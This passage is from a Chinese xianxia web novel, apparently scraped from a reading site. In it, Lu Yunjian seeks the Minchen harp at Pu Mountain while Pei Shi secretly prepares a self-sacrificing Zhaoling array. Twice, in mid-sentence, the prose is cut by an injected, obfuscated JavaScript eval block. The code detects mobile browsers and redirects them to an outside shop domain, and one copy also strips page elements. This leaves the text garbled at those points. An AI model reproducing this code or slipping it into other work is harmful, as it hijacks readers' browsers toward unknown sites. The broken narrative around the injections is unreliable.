如此灵力,果真只有参世仙人……还好是参世仙人。 纵有通天彻地之能,终不过一缕残魂,又能阻得自己几时? 不过即便参世仙人早已仙逝,其灵力仍绝非他人可比,既是毫无胜算,季衡索性收了灵弓,道:“参世仙人是不是找错人了?还是说仙人觉得,将我困在这蒲山一时半刻,修真界就能赢了?” 参世仙人道:“我在这世间,不过只剩一分残念,的确阻不了你。” 季衡道:“就算你把神器给了陆云笺和裴世,也阻不了我。更何况他们手上沾了多少血,难道你不知道?你觉得他们会像你一样,一心一意护着这世间?” 参世仙人默然不语,只轻轻抬手,缝合季衡两边躯体的箜篌琴弦倏然一亮,朝着他的指尖飞去。 季衡一惊,抬手死死捂住即将支离的身体,只觉如同被抽筋剥皮一般,浑身血肉皮肤都皱缩起来,好在参世仙人终究不过幻影,不多时,那根琴弦便又复归了原位。 参世仙人缓缓收回手,本就浅淡的幻影几乎已经全然融入周遭的黑。 季衡面色惨白,用了许久才勉强平稳了呼吸,颤声道:“我尊你一声‘参世仙人’,已是仁至义尽,你却如此手不留情?”他再度抬手召出灵弓,放出一箭,参世仙人不躲不避,任由那支灵箭穿透身体,幻影明灭一瞬,才又渐渐亮起来。 参世仙人轻声唤道:“季衡。” “什么……” 季衡的手一顿,眸光一瞬黯淡下去,再抬头时,还是那双冷淡稍带疯狂的眼眸,却有一行泪水蜿蜒而下,将面上的尘灰与血污冲刷出一道稍显干净的痕迹。 “季衡。” 季衡抬手抹去眼泪,没有再拉弓,而是忽然没头没脑地问了句:“我错了吗?” “在你问出此问的时候,你就有答案了。”参世仙人轻叹一声,“世间诸事各有因果,原无对错之分。你我行道不同,我也从未想要劝你。” “行道不同……”季衡轻笑一声,“若我是季衡,我也会勤加修炼,带领镜阳宗再开创一个新的百年。可我不是他。世人艳羡的镜阳宗大师兄不是我,他们祝福长乐安宁的也不是我。你唤的是谁?” “你不是季衡,季衡也不是你。”参世仙人轻声道,“你叫什么名字?” 季衡轻轻摇头:“我?我没有名姓……” 然而话未说完,他又忽地抬起脸来,迷惘黯淡的眼眸忽地转成了经年累积的恨,他双目暴突,一字一顿地道:“我此一生,能选的、能得的寥寥无几,好容易能选一回,这一回,我要索去你们所有人的命。 “我为救诸多百姓而死,可我被锁在阵中时无人救我,数年来世人只知镜阳宗大义,无人晓我名姓。这世间数年的太平,有一分是我用命换来的,现在我后悔了,我要将它取回来。 “你可以为了护这世间放弃轮回转生,我也可以为了毁这世间而魂飞魄散。你我不过行道不同,谁强谁弱还说不定……你说,到底谁会赢?” “输赢没什么好论的。季衡……”参世仙人轻声唤着,可却不知唤的究竟是谁,“你我相识不过寥寥几时,但我会尽力护你前往转生。” “……什么?” 季衡又是一怔,他细细看了眼前虚无的幻影许久,根本看不出参世仙人究竟在想什么,究竟想做什么。 “你护我转生?你活了几百年,当真是痴傻了……你护我?” 参世仙人道:“往后修真界的千千万万年,我是看不到了,你我相见一场,我想请你,替我去看一看。” “我……” 有那么一瞬,季衡几乎有些神志不清,一时觉得体内两个魂灵纠缠厮杀,一时又觉体内只有孤零零一个魂灵,一时知晓自己身在蒲山,一时又道自己刚练完剑,要赶去镜阳宗的饭堂。 他死死咬住牙,齿间鲜血渗出,却终于保住了神智:“你在说什么胡话……” 参世仙人没有回他,只道:“但在那之前,我会以这一缕残念,将你困在蒲山,为修真界往后的千千万万年铺路。” …… 眼前黑白交替,不知下坠了多久才踩到实处,一睁眼,仍是万顷碧竹,其中金光潋滟,恍如水光映照。 一个浅淡清雅的声音笑道:“陆仙君,裴仙君,恭候多时了。” 陆云笺适应了片刻忽然明亮起来的光,抬眸望向来人。 来人是一位身着碧绿衣袍的男子,身形修长清瘦,面色苍白,嘴角挂着血痕,笑中带着一股疲倦勉强之意。 陆云笺道:“青竹君?” 青竹君点头道:“我死守蒲山结界幻境与箜篌神器,在此等候二位,险些灵力不支,所幸还是等到了。” 陆云笺微微蹙眉,一旁裴世抬手,飞快地将他所说尽数写下,陆云笺看了,道:“既如此,还请仙君速领我们前去取得箜篌神器,挽救尘世灾劫。” 青竹君道:“陆仙君耳力不便?” 这一句裴世却没有写下来,然而即便无人回答,青竹君也已经知晓,便也抬手写道:二位莫要心急,我尚有几件事需要交代。 陆云笺勉强沉下心来,道:“仙君请说。” 青竹君写道:二位稍待片刻,待幻境彻底稳定,二位自可进入幻境,跟随参世仙人指引,取得箜篌神器。幻境中的箜篌神器只有二十二弦,最后一弦由参世仙人融在我体内,二位将箜篌取出后,务必前来相见,确保琴弦归位,否则箜篌灵力缺失,不堪一击。 陆云笺点头。 青竹君手指飞速移动,又写道:现下参世仙人以幻境拖住无津大师与季衡,待箜篌离山,蒲山结界与幻境便俱会消散,还请二位速速离山,莫要受他二人所扰。 陆云笺道:“好。” 青竹君写道:最后一事,关乎逆转时空前那一战。 陆云笺微微一怔:“……逆转时空前?你……” 青竹君轻轻摇头:陆仙君莫要误会,逆转时空前诸事,是我在无津大师的记忆中窥见的。二位知道,凡入蒲山者,首先便会被调取记忆,算是我们判断来人是否可信的第一个方法。我在无津大师的记忆中看见,逆转时空前我灵力不支,未能用箜篌救世,因此此番箜篌临世,亦不知胜率几何,烦请二位随机应变,若是力有不逮,还请二位先保全自身。 陆云笺道:“青竹君既已看过我的记忆,便也知晓我们为了在蒲山开启逆转时空之阵,强行摧毁了蒲山的幻境……仙君既然镇守于此,蒲山被毁,仙君远在战场,也必然会受到影响。如此说来,逆转时空前那一战之所以输,也有我们的过错。” 青竹君写道:陆仙君无需自责,凡事皆有因果天命,我们唯能尽人事。 陆云笺没再说话,抬眼看向几人中间渐渐汇聚起来的金光,如漩涡般逐渐扩大,眼看就要扩至一人高,想来就是参世仙人留下的幻境。 陆云笺犹豫片刻,还是问道:“我们第一回来蒲山时,参世仙人为何不愿将箜篌神器交与我们?……仅仅只是因为形势尚不明确?” 青竹君知晓她会有此问,写道:非是不愿。当时无津大师不愿你们进入蒲山幻境,恐自己当年放照翎族逃走之事败露,名声不保,便极力攻击蒲山幻境,导致幻境不稳。更何况…… 陆云笺苦笑道:“更何况我们……尤其是我,杀过无数人,沾过无数血,原也算不得可信之人,更算不得什么好人。若是我,我也不会放心将最后一张牌交与这样一个人。” 青竹君写道:若非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一回裴世没有再用灵光将文字写出来,而是将陆云笺抓着自己的手轻轻展开,在她手心写:骗你是狗。 一笔一划,极尽诚恳,写出来的话却幼稚得很,仿佛前方不是一场定然会损失惨重的恶战,而这个诺言也不过是小孩子手指相勾,做出的一个小小承诺。 陆云笺待他写完,轻轻将手指收回,又紧紧握住,像是要把那四个字牢牢攥在手中。转身迈入幻境前的最后一刻,她再度转头问道:“马上跟上?” 裴世点头:“嗯。”说着不知是有意还是无心,轻轻在她背上推了一把。 陆云笺的身影消失在幻境入口,裴世的目光仿佛也被那个逐渐缩小、直至消失不见的漩涡吞没了,直到青竹君开口唤回他的神智:“你真想好了?” 裴世收回目光,眸中的温柔顿时消失无踪,仍是一贯的平淡:“那是自然。更何况届时琴弦归位,你的境况未必见得就比我好。” 青竹君将嘴边血痕擦去,冷哼道:“你这脾气可一点儿也不像仙人。” 裴世点头:“彼此彼此。” 青竹君转身走入竹林,裴世几步跟上,听青竹君道:“你可让我好等……若再晚些,我都不知道能不能撑住。不过这回有陆仙君,箜篌之效便可大大增强了。” 裴世道:“不能更早了。若是还要再早些,照灵阵连形都成不了,便是成了,也匆忙潦草,届时对上那些妖魔鬼怪‘人’,怕是阵还未开便毁了。” 青竹君道:“你这人说话怎么这么难听。” 裴世不予理会,转而问道:“我让你看的照灵阵阵法如何了?” 青竹君道:“还差点儿,毕竟无论是仙人还是我,都并不知晓照灵阵阵法的全部,只能试试了。” 说话间,二人已走至竹林深处一处空地,青竹君一挥手,厚厚一层竹叶飘飞而去,露出地面上草草绘成、尚未完成的一个阵法。 裴世瞥了几眼,道:“与我所创制的部分可以连上,再稍作修改,应当够用了。” 132. 素悯诚 这一回不再有茫茫浓雾,唯有无边无际的黑。 陆云笺往前走了几步,前方微光一闪,如启明初升一般,出现了一个朦胧的白色身影。 陆云笺唤道:“参世仙人……” 她转头打量了四周一圈,却未看见半个人影。她心中隐隐不安,却也只能控制住自己先处理正事,于是道:“我自知杀人无数,罪孽难消,但还是请仙人将箜篌神器交与我……” “我察看你们的记忆,并非是为评论过去功过。” 浅淡而悠远的声音响起,有那么一瞬,陆云笺还当自己听力未失,细辨之下,才发觉那声音更像是在脑中浮现,而非是响在耳边。 “一片诚心,便足以救得众生。”参世仙人道,“我且问你,你此行是为何?” 陆云笺轻声道:“上天给我重活一次的机会,让我得见喧嚷人间。我此行,是为报恩。” 参世仙人轻轻一笑,道:“你回头看看。” 陆云笺回过头,骤然被眼前那片忽然出现的璀璨金光晃住了眼。 那抹金色如同新生烈日般将周遭黑暗尽数驱散,耀目金光间,正是一把竖箜篌。 箜篌柱已经被打磨得很是光滑,不再能看出骨骼的形状,骨骼之上附着的腐烂血肉也被汹涌强劲的灵力化作了簇簇繁花茂叶,道道琴弦之间,金芒流溢,仿若星辰流泻。 那是能挽救人世的最后一轮旭日,也或许是第一轮……足以让千千万万的人奋起抵抗,换得寻常时日里的金乌再度普照世间。 不知是不是骤然被金光刺中的缘故,陆云笺觉得眼睛有些发涩,于是偏开目光,道:“……可我不通音律。” “无碍。悯诚只能弹出一支曲子,既有攻伐诛邪之效,亦有疗愈净化之能。我会将那曲子传与你,你若愿意,现在便可试试。” “悯诚?”陆云笺再度抬眼看去,果见箜篌柱上,繁花茂叶掩映下,笔画深深,刻的正是“悯诚”二字。 悯诚…… 一片诚心,素悯众生。也是怜悯众生之诚。 陆云笺轻轻抬手,点着紫色灵光的指尖自琴弦上拂过,掀起一波金紫相杂的涟漪。一拨之下,她仍是听不到任何声响,却觉得周身似乎一轻,指尖灵光骤然熄灭,连带着体内平稳的灵流也随着琴弦震颤而消散殆尽。 不……不是消散,而像是倏然被什么东西吸了去。 有那么一瞬,周身的灵力似乎被剥夺抽离,若说平日里,体内灵流如同江流潮水般平稳或时而汹涌,那一瞬间便像铺天盖地的虚无,无边无际,空空荡荡。 陆云笺的手顿在半空。 参世仙人缓步上前,道:“你前番开启圣清结界、平息溟海之灾,又连续赶路几日,灵力损耗过大,还是歇息片刻为好。” 陆云笺收回手,苦笑道:“箜篌神器强悍,不知我要恢复多久才能使用它……修真界还等得起吗?” “莫要强求。”参世仙人道,“此处灵气丰沛,我会助你恢复灵力,用不了太久。” 陆云笺抬眸望向参世仙人,此前虽已见过几回,但直至此时,她才终于有心思细细打量。然而看得越是仔细,便越是觉得裴世与参世仙人实在相像,原本只觉二人眉眼间的温和如出一辙,如今却觉得二人轮廓五官都要相似起来。 陆云笺轻轻吐出一口气,道:“前辈可知照灵阵如何绘制?” 参世仙人摇头:“我虽见陆成蔺掌门以照翎族全族为引开启了照灵阵,却并不知阵法具体如何绘制,只窥见了部分,后将其研制为引魂阵,传于世间。” 陆云笺又道:“那断界骨呢?若是修真界开启了断界阵撕裂时空,又该如何挽回……前辈可曾见过另一个时空?” 参世仙人道:“三百二十年前,魔王撕裂时空时,我曾通过裂缝窥见一线。当时只觉奇异,两个时空原当相差无几,却不知为何如此迥然不同……想来一念之差,地覆天翻。” 陆云笺的身形蓦地一僵。 这句话很是熟悉……似乎某个时刻,有另一个人曾与她如此说过。 是了……裴世曾对她说,“一念之差,地覆天翻。或许你阴差阳错来到这个时空,正是为了让这个时空发生天翻地覆的改变”。 陆云笺的眼眶又是一涩,她抬手一抹,抹到一线湿润,很快又干涸。 一念之差,地覆天翻…… 若是她的灵魂没有阴错阳差地穿越时空,或许她早就死了。若是她不记得在另一个时空、借另一个自己的双眼双耳所得的所见所闻,或许根本不会想要挽救灾劫。 而她想要挽救灾劫,原也不过小小一念—— 简单得近乎有些可笑,只是因为在这个时空不曾好好看过焰火,所以想让这世间清平如初,与她爱的人一起,好好看一看人间的灯火。 不知为何到了如今,这竟近乎成了执念,自己粉身碎骨、魂飞魄散也无妨,只希望将万千灯火还于千千万万众生。 说来人之一念,当真随意,又当真诚挚;当真儿戏,又当真郑重。 千万年间,每一人的“一念之差”造就了两个同根同源却截然不同的时空,如若她能重活一次是上天有意,那么这一回,一念之差,能不能造就又一次地覆天翻? 陆云笺轻轻闭上眼,道:“如果断界阵法不能被摧毁,我想在灵力彻底恢复前,先借悯诚三分力,前往时空裂缝处增加一道结界,以防妖魔通过裂缝前往另一个时空。” 参世仙人道:“那是自然。” 陆云笺道:“前辈既然也见过另一时空,那晚辈有一问……两个时空的人,是否会有所不同?比如,有没有可能,一个人在这个时空存在,而在另一个时空不存在?” 参世仙人知晓她的意思,默然片刻,道:“不。想来你也已经知晓,两个时空纵有万般不同,人与人之间的牵绊却大同小异——相遇相识相知,以及个人的生与死,诸如此类,都不会不同,人们常常谓之‘缘分’或是‘天命’。但凡事总有例外……” 陆云笺道:“比如我,一个原当两年前就在两个时空都死去的人,却阴差阳错地活到了现在。” 参世仙人默然不语。 陆云笺继续道:“如果注定与我相爱的人是一个本不该存在的人,而我本该死去,原也是一个不该存在的人……”她没有再说下去,而是道,“我想看一看他上一回在蒲山幻境中见到的景象。” 参世仙人轻声叹道:“你果然有此一请。” 眼前淡若薄雾的身影忽然不见了,而后真实的雾气滚滚覆将上来,遮去了陆云笺的视线。片刻之后,浓雾之中仿佛有画卷铺展开来般,显现出段段影像。 最初的影像,是三百二十年前那一场大战,魔王战败,死前以自身魂飞魄散为代价,将麾下万千妖魔埋入地底,等待它们有朝一日再度出世。 那是此后诸事之始。 陆云笺行走其间,耳边万籁俱寂,眼前景象却生动如真。 她看见仙人利用断界骨将被撕开的时空裂缝再度闭合,却因灵力不支,留下了一丝无法闭合的痕迹,却也再容不得任何事物通过。 她看见陆成蔺以照灵阵为由,想收仙人入云间世,仙人厌恶其所作所为,不愿再入仙门,并设法摧毁了云间世留存的照灵阵。 她看见众仙门或是想要拉拢或是想要问罪,想方设法追踪仙人,仙人灵力几近枯竭,又不愿与众仙门冲突,便一路藏匿行踪,到了蒲山。 她看见漫山蒲公英因妖邪肆虐而毁,寸草不生的荒山又因仙人收留竹妖而覆上万顷碧绿。 她看见仙人以自身不得转世托生为代价,延续自身寿数数百年,自困蒲山,恢复灵力,又将自己所得的那段照灵骨,细细雕琢为悯诚箜篌。 参世仙人不知何时又出现在她身旁,与她一同往前走:“照灵阵虽主引渡亡魂转生之能,却并不见得就是救赎之阵。后人为开启照灵阵屡屡屠杀照翎族或是寻人献祭,如此看来,照灵阵也可说是一种杀戮阵法。” “没有人应该为了让他人活下去而去死。”陆云笺道,“但既然总有人会利用魔王诅咒再造灾劫,也一定会有人甘愿牺牲一切,阻止灾劫。” 二人缓步往前走,三百二十年的漫长时光在幻境之中化作流雾,轻而易举地自眼前飘过,一切疮痍伤疤都足以被沧海桑田填平。 云间世已传至第八代掌门,镜阳宗也已历四代掌门,第三大门派怜生寺崛起,无数小仙门如江潮后浪,推平了数百年前的遗迹。 亦有无数云游散修穿梭世间,除祟歼邪,护佑世间。其中有一位白衣道人,不知身出何处,神龙见首不见尾,但每逢大灾大难,必定见其现身相助,世人感其恩德,称其为“参世仙人”。 三百二十年前的大战,似乎已经隔得太过遥远,只不过是修真界 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“仙人……”青竹君死死拽住仙人的衣摆,“有谁能……便是我与妄尘一同,也未必能阻止灾劫……” 仙人道:“你我之能,皆尽于此,只望这人世寿数未尽,能再安度千百年。” “可千百年之后呢……” 青竹君声音渐哑,没有再说下去,他慢慢松开了仙人的衣摆,退了几步,跪倒在地:“还请仙人将最后一根悯诚琴弦融入我体内,若无可信之人,我愿粉身碎骨,竭力完成仙人夙愿。若能寻到可信之人,我愿化身琴弦,助其平息灾劫。” 自此二十三弦悯诚箜篌的最后一根琴弦,谁也再盗不走。 仙人起身缓步走向竹林深处,青竹君踉跄两步,慌忙跟上,听见仙人道:“原想用断界骨将最后一线时空裂缝缝补完整,再将其摧毁,却恐灵力不支。若是灵力彻底透支,再想行事便难了……” 青竹君道:“仙人大可将断界骨留在这山中,我与妄尘定然竭尽全力看护好它。” 仙人轻轻摇头:“断界骨与悯诚不同……上古照灵鸟出世时,原是一只兴风作浪的恶鸟,后被天神收服,才又有了引导亡魂转生之能。是以世人虽称照灵鸟为‘神鸟’,照灵骨却既能作善器,亦能为恶器。 “有心之人可以摧毁悯诚,但想要将其改造为恶器却难。但断界骨若不幸落入歹人手中,怕是会造成难以挽回的恶果。 “更何况,如今蒲山之中有悯诚,已是显眼,若是再多一个断界骨,怕是会引来更多觊觎之人。 “我死后尚能以结界与幻境护佑蒲山数年,可待我魂飞魄散,你们想要护住蒲山,怕是力不从心……” 几句话间,二人已经来到存放断界骨之处。 魔王用照灵骨制成的断界骨法器,原本高逾万丈,此时因灵力损耗过大,已然缩小数倍,其上的金色灵光也淡若无物,乍一看,如同一具寻常婴孩的小小骨架。 隔绝妖魔鬼怪仙神灵力术法气息的最强屏障,不是结界,不是幻境,而是人的血肉。 仙人轻轻抬手,将所剩不多的灵力尽数注入断界骨,等待数日,待那具孤零零的惨白骨架一寸一寸长出血肉,终于成了一个真正的“人”。 断界骨长出血肉而成的“人”当真如同一个寻常婴孩一般,没有半点灵气,仙人又为其打上一道封印,最后一点可疑的端倪便也被彻底掩盖了去,并且再也无法透露出灵力。 那个寻常的婴孩便顺着河流到了一户人家,成了那户人家的孩子,若是不出意外,便会安然无恙地度过一生,待他身死,断界骨也会彻底失去效力,化归尘埃。 参世仙人等着那户人家将那个婴孩收留,不知此去是福是祸,却也别无他法,转身回了蒲山。 与那孩子再见时,已过去六年,仙人灵力消散殆尽,却仍时时入世除祟,一日路过那户人家,便顺道拜访,去看一看那个孩子如今的境况。 木门“吱呀”一声开了,屋内没有点灯,一线黑暗中,露出一张清秀稚嫩、却布满伤痕的脸。 那张脸陆云笺在幻境中见过数次,即便此时他年岁尚小,却仍能辨出日后的影子。 “裴世……” 又或者在看到幻境之中的那条河流、那个村庄、那个简陋木屋时,更甚者在看到断界骨的那一刻,她就已然忘了呼吸。 在反应之前,就已泪流满面。 133. 人一念 “那时他不过六岁,却是满身的伤,我问他伤是如何来的,他却不肯告知于我。我见他偷偷藏了一把木剑,心中明了了几分,问他是不是想入仙门学习术法。 “他大约以为我是云游道人,以为我要收他为徒,我终于在他脸上看到了些许喜悦的神情……那时我就想,是不是错了。 “我在将断界骨制成‘人’之前,就时时在想……神器由于灵力术法而生出血肉,是否真的能算是‘人’。是我错了罢……他有血有肉亦有心,自为‘人’以来,便一直在人世之中长大……如何能不算是‘人’。” “是。”陆云笺一手捂住心口,另一手想要去抚摸那个孩子脸上的伤疤,却轻而易举地穿过了那片幻影,“自然是人。他有爹有娘,有血有肉,怎么不是人……” 她忽地又想起了那个救过裴世、又被裴世所助的老妇人。 那段陆云笺不曾见过的他的两年,再一次隔着茫茫岁月刺中了她。 这样一个人,怎么会没有心?怎么不是“人”? 可妄尘神龙说他并非人生肉长成,那照翎族也测不出他的生辰八字,另一个时空更没有他的痕迹……而她将他的生辰八字融入断界阵,意欲取出他体内的照灵骨时,也因他并无生辰八字而失效。 他原是这世间,不该存在的人。 胸腔犹如被数道利刃穿透,陆云笺不得不蹲身捱过这一阵疼痛,然而这疼痛与利刃穿透又并不一样,捱过一阵锥心的疼,却又是犹如水中波纹圈圈荡开的无休无止的疼,无时无刻不在碾过人的神经,几乎要将神智剥夺。 她咬牙站起身,朝着幻境入口处奔去。 最后一张牌是照灵阵……谁是诱饵?谁是开启照灵阵的引?怎么可能是箜篌神器……他怎会随意消耗箜篌的灵力…… 从上回见过蒲山幻境起,他就不再有一句实话。 他知不知道前面等着他的是什么?足以让照翎族灭族的照灵阵,世间最强的阵法,他知不知道他去开启照灵阵,会付出什么代价…… 幻境通道从未关闭,陆云笺正欲迈步出去,却在触碰到入口的那一瞬就被斥出数步。 金色灵光流散开来,原本畅通无阻的通道此时却仿佛有一道高逾万丈、坚牢无比的墙横亘其间,隔绝了幻境与幻境之外。 是裴世设下的结界。 陆云笺抬手欲将结界打破,却在灵力如万道江流奔涌汇聚到指尖的一瞬停住了。 裴世设下的结界极为强悍,若要破开,这个幻境怕是也将不复存在,届时悯诚箜篌被永久封存,他们最后的两张牌,便有一张废了。 若是没有悯诚箜篌,这个傻子又会做什么?若是尘世不保,他们又能独善其身吗? 陆云笺不知道他在看到蒲山幻境时在想什么,也不知道这几十个日夜他又在思索什么,要如何才能如此坦然坚决地做出决定,又考虑得如此周到,知道她不能毁去蒲山幻境,便设下一道结界来阻她。 字字句句,所作所为,他所思所想显而易见又欲盖弥彰,可偏偏她就是一次又一次错放了他,一次又一次中了他的圈套。 亮如白炽的灵光在指尖渐渐消散,陆云笺木僵地转回身,一步一步走向悯诚箜篌,再一次抬手,在琴弦上重重一拨。 金光流溢如萤火,这一回,她清清楚楚地听到了那一声突兀而悠远的、清脆又厚重的琴音。 箜篌神器的疗愈之力,当真远非寻常器物术法可比。 可还远远不够……要等多久,她才能完完全全地使用箜篌?要等多久,她才能有机会去阻止那个傻子…… 陆云笺没有再去看仍在不断变幻的幻影,只倚靠着悯诚箜篌坐下,再开口时,才发觉声音早已嘶哑:“所以,前辈劝他此生莫要踏入仙门修习法术。” 参世仙人从始至终都没有阻拦陆云笺,此时听她说话,便走到她身边,也在悯诚箜篌旁坐下:“是。我知世间万事不可强求,却无法任他进入仙门……是我对不住他,可却也无力再护他了。” 参世仙人轻轻叹了口气,继续道:“从婴孩到少年,他身形渐长,封印也因躯体变化而不再稳固如初,我下山正欲为他加强封印,却正巧碰见他被鬼魈所伤。妖魔精魅之类对于神器的感知会更为灵敏,想来那只鬼魈觉出了端倪,想要获取照灵骨。” 陆云笺道:“所以前辈将他救回蒲山的那一回,加强了他身上的封印,妖魔精魅也再察觉不出,却不料那鬼魈记住了他身上的气息……” 不待仙人回应,陆云笺便将头埋入了臂弯:“的确不该入仙门的……若不是我带他去追击鬼魈,他身上的封印根本不会破……” “可不入仙门,封印不破,他便会如逆转时空前那般。”参世仙人轻声道,“是我将此事强加于他身,是我之过。可他既是一个真正的人,或许我们应该尊重他的选择。” 陆云笺微微抬眸望向他。 参世仙人道:“世人为我起号‘参世’,是言参悟世事,救人水火。而我此一生,历经数百年,却如何都参不透这世态炎凉,也悟不出人之情感意愿……想来世事从无对错,人之一生,但求无悔。” …… 幻境之外,裴世与青竹君已将照灵阵大致绘制完整。 裴世又细细看了几遍,将阵法牢记于心,便站起身来:“此阵只要不出大错,应当够用了。只是到时我并不能施展完整的阵法,只能对断界阵稍作修改,使其更接近于照灵阵。” “那也够了。”青竹君神色复杂地扫了几眼地上的阵法,抬眸看向裴世,“不知为何,你我不过才见了寥寥几面,我却觉得你这人讨厌得很。” 裴世用归云剑尖将一旁落下的竹叶扫过来,盖住照灵阵,闻言轻声笑道:“你这竹子精眼光倒是准,我的确不是什么好人。” “……”青竹君无言片刻,“那你真要去开启照灵阵?心甘情愿?” “不然呢?大费周章地把照灵阵研究出来,等召唤出照灵鸟残魂时,再把它炸得魂飞魄散?” “……”青竹君默默平静了心绪,“你可以不必如此的。” 归云剑尖停住了,裴世微微抬眸,道:“她也与我说过,命是我自己的,我的生死从来不为旁人所把控。谁都想活,我没有义务牺牲自己去救旁人,一切选择,都只能交给我自己。” 青竹君道:“的确如此。” 裴世笑道:“还不明了吗?这就是我的选择。” 青竹君一时哑然。 裴世又道:“我不是有什么大格局的人,我的理由很简单,她想护着这世间,我就会竭尽全力为她铺平道路。” 那时他想问她,倘若此难无法可解,唯照灵骨可救,她能否对他手下留情? 此一问在他心头徘徊已久,深如心魔,可他从来都问不出口,他不敢。从前不敢,未来也不会敢,无论何时他都是个胆小鬼,不会有勇气问出此一问。 可他偏又不死心地想听她亲口说出答案,即便他早已知晓那答案会是什么。 但他竟有幸听到她说“命是你自己的,你的生死从来就不为旁人所把控。谁都想活,你没有义务牺牲自己去救旁人,一切选择,都只能交给你自己”。 交给自己…… 他从不是个什么有大格局、远志向的人,很多人修道,为的是振兴家门,是斩妖除魔,是替天行道,是拯救苍生,但他从来都不是。 从前是为了替父母报仇,之后加了一条,想护住他想护的人,以术法,以身躯,以血肉。 他从来都是为了一己私心。 他也想活,他才二十出头,世人皆说,归云仙君年轻有为,前途无量。他在风雨瓢泼里过了二十余年,也想要一个光明灿烂、安宁喜乐的未来。 可他爱的人说,想要护住天下百姓,将这份安宁喜乐遍及天下,从此四海承平,海晏河清。 他忽然就觉得,什么前途什么未来也没有那么重要,他愿意将光明通途换作荆棘遍地,去护她想要护的灯火人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671486|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间。 他答应她会为了自己而活,可他从没有为自己活过。如果说人活着必须为活着找一个终点或是目的,那么在他开始寻找这个终点的时候,就看见陆云笺走在前面。 而他此生,将不遗余力地追上去,与她并肩。 人之一念,当真随意,又当真诚挚;当真儿戏,又当真郑重。 裴世用竹叶将阵法草草遮盖住,又在原地立了片刻,不知在看什么,又在等什么。 也或许什么也没有看,什么也没有等,只是忽然有些不舍。 裴世收了剑,转身问青竹君:“悯诚箜篌,有几成胜率?” 青竹君答道:“五成。” 裴世又问:“加上照灵阵,有几成胜率?” 他说得很轻描淡写,仿佛并不知道开启照灵阵需要什么代价,仿佛不是要去迎战杀敌,无所谓会不会流血又会不会死,只是小孩子玩纸牌,胜券在握时,慢悠悠抛出最后一张牌,等待意料之中的喝彩。 青竹君缓缓闭上了眼睛。 “照灵阵开,胜率七成。” 裴世轻声笑道:“足够了。”说完便不再停留,转身往山下走去。 “等等……”青竹君追了几步,“你真的不再进入幻境,去见见仙人了?” 裴世停下脚步,转头轻轻扯了扯嘴角,有那么一瞬,青竹君忽地觉得裴世此人,当真与仙人是有那么一两分相似的。 “不了。若是可以,替我向仙人道一声谢。他赐我血肉与魂灵,至于接下来的路,都是我自己选的,与旁人无关,我也……无悔无怨。” 他孤身一人在黑暗中走了片刻,眼前便豁然开朗,仍是空无一人的蒲山山顶,结界仍在,奇焳啼鸣也不曾消散。 裴世大步向山下走去,走至山腰,便见待在山腰的寥寥数人如惊弓之鸟一般,抱成一团,躲在一处茂密修竹的遮蔽之下。 裴世走近了,问:“怎么了?” 那几人见是他,忙奔至他身后,颤声道:“有人突然发狂杀人……我们逃到山腰,多亏仙君相护才逃过一劫。” 裴世微偏目光,看见一名重伤几乎不能行的修士,便将身上最后一点草药给了他,对几人道:“随我下山。” 越往山下走,便越是一片狼藉、触目惊心,看来季衡极力发挥奇焳的效用,造成许多人失去了神智,此时已然经过一场恶战,存活下来的人仅仅比半数稍多了些。 走至山脚,已是残尸碎肢遍地,数名银鹰卫正巧奔过结界,见到裴世,便都停下脚步。 裴世将先前清理狂化的“人”的归云剑收回,漫不经心地将手举过头顶。 身后有人惶然唤道:“归云仙君……” 裴世道:“我可以跟你们走,但我有一个条件。” 站在最前的那名银鹰卫冷笑道:“归云仙君是不是搞错了,你没有资格与我们谈条件。” 裴世道:“是吗?那你说说,是你们能赢过我,还是陆明周能赢过我?又或者这天下任何一个门派的任何一人,能够将我生擒回云间世?” 众银鹰卫一时不语,裴世便继续道:“我跟你们回云间世,绝不反抗。你们将山上这些人,尽数带回云间世结界之内,护他们周全。” “尊主只下令让我们将归云仙君缉拿回云间世,至于归云仙君所请,此去山高路远,恕我们不能。” 裴世道:“银鹰卫自有银鹰卫的法子,但你们若不答应我这个条件……我大可就地自爆,让云间世再也得不到照灵骨,届时陆尊主会怎么追究你们的罪责?” 二人僵持不下,最后银鹰卫只得让了步:“归云仙君说话算话。” 裴世道:“那是自然。”说着顺从地伸出双手,任由银鹰卫用捆仙索将他双手牢牢缚住,又下了银鹰卫独有的束缚限制咒法。 裴世最后转头望了一眼身后的蒲山,万顷碧竹摇曳不止,结界仍旧稳固如初。 他轻轻闭上眼。 马上就要结束了。 134. 何为人 “季小姐留步。” 此来哀牢寻陆云笺与裴世不便告知他人,因此季瑶浑身上下都遮得很是严实,灵气也降到了最低。她听见身后传来这么一句,微微一惊,转头见是裴世,又有些疑惑:“裴公子?” 裴世道:“我来送送季小姐。” 季瑶道:“裴公子若有要事,不妨直言。” 裴世却没有直说,只领着季瑶走到离哀牢主山山顶更远些的隐蔽少人之处,确保陆云笺不会听见些什么,这才道:“方才不便言明,此来是想烦请季小姐助我几件事。” “裴公子请说。” 裴世道:“圣清结界终有一日会破,届时修真界将迎来一场恶战,便是仙门有所准备,怕是也抵挡不了多少时日,我只能想到一法,即是效仿陆成蔺掌门,开启照灵阵。” “照灵阵?”季瑶微微睁大眼睛,“可照灵鸟虽能引渡亡魂转生,妖魔精怪类却并不属亡魂,怕是……” 